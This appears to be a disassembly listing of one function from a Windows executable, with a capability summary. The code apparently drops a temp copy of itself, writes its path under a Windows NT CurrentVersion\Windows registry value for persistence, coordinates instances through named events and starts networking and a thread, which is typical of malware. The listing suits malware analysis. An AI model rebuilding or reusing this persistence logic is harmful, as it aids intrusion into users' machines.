Function at 0x402f40
Capabilities:
Create thread
Delete file
Get common file path
Initialize winsock library
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
sub esp, 0xddc
mov eax, dword [0x424044]
xor eax, esp
mov dword [esp + 0xdd8], eax
mov eax, dword [esp + 0xde0]
push ebx
push esi
push edi
push 0
push eax
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x4bcb70
push 0x4bcaa8
push 0
mov dword [0x4bcc38], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x403564
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xbe2]
push ecx
mov word [esp + 0xbe4], ax
call fcn.00412cf0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x5ca]
push eax
mov word [esp + 0x5cc], dx
call fcn.00412cf0
add esp, 0xc
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x3c2]
push edx
mov word [esp + 0x3c4], cx
call fcn.00412cf0
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1ba]
push ecx
mov word [esp + 0x1bc], ax
call fcn.00412cf0
add esp, 0xc
push 0x104
lea edx, [esp + 0x5c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x41fd58
mov eax, 0x4be9f8
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40305c
test dx, dx
je 0x403058
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40305c
add eax, 4
add ecx, 4
test dx, dx
jne 0x403036
xor eax, eax
jmp 0x403061
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4034c7
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40329b
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x1b4]
push edx
lea eax, [esp + 0x24]
push eax
push 0
push str.SubKey
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40328c
push 0x208
push eax
lea edx, [esp + 0x7d0]
push edx
call fcn.00412cf0
add esp, 0xc
xor eax, eax
jmp 0x4030f0
movzx ecx, word [esp + eax + 0x1b0]
mov word [esp + eax + 0x7c8], cx
add eax, 2
test cx, cx
jne 0x4030f0
push 0x208
lea eax, [esp + 0x9d4]
push 0
push eax
call fcn.00412cf0
add esp, 0xc
xor eax, eax
jmp 0x403130
movzx ecx, word [esp + eax + 0x7c8]
mov word [esp + eax + 0x9d0], cx
add eax, 2
test cx, cx
jne 0x403130
lea eax, [esp + 0x9d0]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x403152
mov ecx, dword [str._STOP]
mov edx, dword [0x41fd94]
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], ecx
mov ecx, dword [0x41fd98]
mov dword [eax + 4], edx
lea edx, [esp + 0x7c8]
push edx
push 0
push 0x20000
mov dword [eax + 8], ecx
call edi
test eax, eax
je 0x4031ef
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
lea eax, [esp + 0x9d0]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [esp + 0x7c8]
push ecx
xor esi, esi
push esi
push 0x20000
call edi
test eax, eax
je 0x4031ef
cmp esi, 5
jge 0x4031ef
push eax
call ebx
push 0xc8
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x7c8]
push edx
push 0
push 0x20000
call edi
test eax, eax
jne 0x4031c6
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x3b8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x1b0]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403216
lea edi, [esp + 0x3b8]
sub eax, edx
add edi, 0xfffffffe
lea ecx, [ecx]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x403230
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x3b8]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x403256
mov ecx, dword [str..tmp]
mov edx, dword [0x41feb0]
mov dword [eax], ecx
mov cx, word [0x41feb4]
mov dword [eax + 4], edx
lea edx, [esp + 0x3b8]
push edx
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebx
jmp 0x4032a1
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x208
lea ecx, [esp + 0x3bc]
push 0
push ecx
call fcn.00412cf0
add esp, 0xc
lea edx, [esp + 0x3b8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x208
lea eax, [esp + 0x1b4]
push 0
push eax
call fcn.00412cf0
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0xc
call esi
push eax
call fcn.0040d04c
add esp, 4
lea ecx, [esp + 0x1b0]
push ecx
push 3
mov eax, 5
call fcn.004079f0
add esp, 8
call esi
mov edx, eax
mov eax, 0x10624dd3
mul edx
mov eax, edx
shr eax, 6
xor edx, edx
mov ecx, 0x3e8
div ecx
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, edx
push esi
lea edx, [esp + 0x1b4]
push edx
mov eax, edx
push str._s_d
push eax
call edi
push esi
lea ecx, [esp + 0x1c4]
push str.DFA_X
push ecx
call edi
add esp, 0x1c
lea edx, [esp + 0x1b0]
push edx
lea eax, [esp + 0x3bc]
push eax
mov ecx, eax
push str._s_s.tmp
push ecx
call edi
lea edx, [esp + 0x3c8]
push edx
lea eax, [esp + 0x5d4]
call fcn.00402510
add esp, 0x14
test eax, eax
je 0x403564
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 0x10]
push eax
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [esp + 0x24], 0
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4033f8
lea eax, [esp + 0x5c0]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4033c1
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x5c4]
push edx
push 1
push 0
push 0x41fe94
push eax
call esi
test eax, eax
jne 0x4033f8
mov ecx, dword [esp + 0x10]
push ecx
call ebx
lea edx, [esp + 0x10]
push edx
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [esp + 0x24], 0
call edi
test eax, eax
jne 0x40345a
lea eax, [esp + 0x1b0]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403423
sub eax, edx
mov edx, dword [esp + 0x10]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [esp + 0x1b4]
push ecx
push 1
push 0
push str.SubKey
push edx
call esi
test eax, eax
jne 0x40345a
mov eax, dword [esp + 0x10]
push eax
call ebx
push 0x41fee8
lea ecx, [esp + 0x3bc]
push 0x104
push ecx
call fcn.0040c5f1
add esp, 0xc
push 0x41fd58
lea edx, [esp + 0x3bc]
push 0x104
push edx
call fcn.0040c5f1
add esp, 0xc
lea eax, [esp + 0xbd8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edi, [esp + 0xbd8]
lea esi, [esp + 0x3b8]
call fcn.00405520
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x20]
push ecx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
mov ebx, 0x4be798
call fcn.004077a0
add esp, 4
mov esi, 0x4be248
mov edi, eax
call fcn.00405650
push 1
mov ebx, 0x4be5b8
mov esi, eax
call fcn.004077a0
add esp, 4
test edi, edi
jne 0x40350b
test esi, esi
jne 0x40351b
test eax, eax
jne 0x403516
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004023b0
lea edi, [esp + 0x1b0]
call fcn.00401f30
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1b0]
mov word [eax + 0x4be978], cx
add eax, 2
test cx, cx
jne 0x403530
push 0x4be978
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40357e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xdd8]
xor ecx, esp
call fcn.0040bc96
add esp, 0xddc
ret
push 0x4be978
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x403564
mov ecx, 0x4be3b8
call fcn.004039d0
push 0
push 0
push 0
push 0x4022f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0xde4]
pop edi
pop esi
pop ebx
mov dword [0x4258e8], eax
xor ecx, esp
mov eax, 1
call fcn.0040bc96
add esp, 0xddc
ret